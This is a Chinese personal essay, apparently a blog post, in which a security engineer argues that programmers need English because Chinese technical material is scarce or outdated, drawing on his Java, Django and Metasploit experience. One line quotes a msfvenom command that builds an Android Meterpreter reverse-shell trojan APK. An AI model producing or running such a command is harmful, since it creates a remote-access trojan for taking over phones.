我是个英语渣,从初一开始学习英语,但英语学到初二上学期就放弃了。后来参加高考,又恶补了一年的英语,英语考了个及格分。但有一点我想说的是:我参加高考并不是针对普通高中的高考,而是针对中等职业学校的对口高考。英语在高考总分中只占一百分,难度比普通高考要容易许多,大概也就是初三到高一之间的水平吧。为什么这么说呢,因为我在临近高考前,做了几篇高一水平的阅读理解,我的正确率只有百分之二十。也就是说,我的水平撑死不过初三上学期的水平。但在高考中,一百分的总分我却考了六十五分。

一直以来,我饱受英语不好的苦恼。这种现象是从我大学毕业参加工作后开始的。我是通过安全技术接触到计算机的,最早恐怕得追溯到2008年的时候。若不是我找回了小学时期注册的QQ号去邮箱里翻了翻,我还不知道我竟然从十三岁起就开始对计算机产生了浓厚的兴趣。想想自己在初中时代就给各大黑客网站和《黑客X档案》投稿了,感觉自己还是蛮厉害的。

其实我初二放弃的不光是英语,而是除了计算机外的所有科目。为什么放弃了呢,我觉得是因为自己找到了一生中真正热爱的东西,之后学校教的东西都变得索然无味了。与其不断的背单词,背句型,被老师突击检查,亦或是刷数学题,求解,证明,不如打开黑客书籍学习。我甚至中考都没参加,直接报名去职校学计算机了。

在这过程中,我从未感到英语如此的重要,哪怕是在我大学生涯的学习过程中。为什么工作后我开始饱受英语不好的苦恼呢。

我的第一份工作就职于一家军工企业,是研发岗位,全名叫Java研发工程师。在这份工作中,我遇到了很多挑战和技术难题,其中一个令我印象深刻的是数据流改造项目。这个项目会收集各个阵地的传感器数据,阵地上部署了传感器。这些传感器传输的数据是以毫秒为单位的,但阵地的数量很多,阵地的数量至少就有几千个,一个阵地上至少有十个以上的传感器。项目要求把这些数据要汇总起来,形成图表,分类展示在网页上面,还要提供查询,统计和控制传感器的功能。要提供查询功能,这些传感器数据势必要保存到数据库中,但每毫秒的数据量太大,项目要求数据不能丢包,数据库经不起这个压力。后来我们是通过英语进行搜索,参考了国外的资料,自己实现了一个队列作为缓存,期间参考了拥塞控制算法。为什么要用英文呢,因为我们用中文搜索,清一色的都是与redis有关的内容。似乎在国内,一提到缓存,就是redis。当然这个模块是使用C++实现的,我作为Java开发者,需要把这个模块整合起来。通过搜索我们又找到了一个组件,使用这个组件能够在Java中调用C++实现的接口。同样的,通过中文,我们只能检索到关于这个组件简短的介绍和使用例子。但我们在使用的过程中却出现了问题,程序会自动退出。监控日志也没有大的发现。通过中文检索不出来有用的内容,因为国内用这个组件的人太少了,相关资料寥寥无几。后来我们是通过google的英文检索,才找到问题。原来是声明某个变量的时候,误把静态变量声明成为了动态变量。

之后由于兴趣原因,我开始学习Python,当我想使用Python开发一个Web应用的时候,我选择了Python中最出名的Django框架。但我发现一个问题,就是中文资料非常少。当时是2017年末,国内用这个框架的人不多,Python也才刚刚兴起。尽管官方文档写的非常详细,但中文翻译很差,只有一部分内容有中文翻译。我只能硬着头皮去阅读英文,遇到很多坑,也只能用英文去搜索,效率之低,非常痛苦。甚至截止到现在,关于Django中的Rest Framework的中文内容都非常少。如果你要使用这个东西,你只有硬着头皮去啃英文文档。

最后我得出一个结论:如果英语不过关,很难成为一个优秀的程序员。因为你不可能永远都使用流行的技术吧,因为流行的技术不可能满足你的所有要求。

后来因为种种原因,我放弃了研发这份工作,成为了信息安全工程师。我发现在信息安全领域,中文知识更封闭。相关的技术都成了非法的内容,稍微涉及到攻防相关的,都是敏感话题。在中国的黑客圈子,已经没有了黑客精神。黑客精神认为一切都应该是免费的,以分享为乐。但在中国,大家都不愿意分享自己的私货。网上能够搜索到的知识,都是一些同质化的内容,比如当你使用metasploit生成一个安卓木马,所有中文资料都是这么写的:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=1234 R > /test/newbie.apk,其实在这行命令中,R根本就是多余的,你把R换成X,同样不会有问题,并且重定向符号>应该用-o参数进行代替。但从来就没有人发现这个错误的用法。

还比如当我使用metasploit的时候,最新版是6。但国内的中文资料依旧停留在版本4。我是怎么发现这个问题的呢,因为我在使用代理模块的时候,按照中文资料的路径提示找不到模块,通过英文检索才发现在最新版中,代理模块改名了。

类似的东西数不胜数。比如我在使用openvas漏洞扫描器的时候,中文资料都是一些过时的方法,按照这些方法根本安装不上。

越是冷门的领域,中文资料就越少。越是最新的内容,中文资料就越少。越是高精尖的领域,中文资料就越少。学好英语重要吗?我觉得非常重要。之前觉得不重要,是因为自己的能力水平还没有到能够用到英语的时候。当你真正进入某个领域,当已有的中文资料无法满足你的时候,阅读英文资料是自然而然的事情。

中国是上个世纪才完成农业国到工业国的转变,科技发展不过百年。虽然我们也取得了不错的成绩,但大部分领域,依旧是欧美国家领先。比如中国的基建,高铁等技术领先,但在计算机,芯片等领域却是落后的。当你有了新的成果,我想你也会以英文向全世界发表。我相信你一定愿意将你的学术成果发表到世界期刊而不是国内期刊上,然而这个世界上超过百分之九十的学术成果,都是以英文发表的。

无论你是哪个领域的学者,还是哪个领域的工程师,或者是哪个领域的教授,如果只满足自己母语的资料,恐怕难以取得成就。

身为一个中国人,我们的眼光不应该是全国第一,而应该是世界第一。自古以来,我们国家一直是超级大国,唐代的辉煌,近代的屈辱,是我们每一个中华儿女应当牢记的历史。正因为落后,所以我们更应该学习其他国家先进的知识。

同国家命运相连,抓住时代的命脉,实现和国家的共同富裕,这是我们每个人心中的中国梦。所以,如果你英语和我一样,是个英语渣,那么请开始学习英语吧!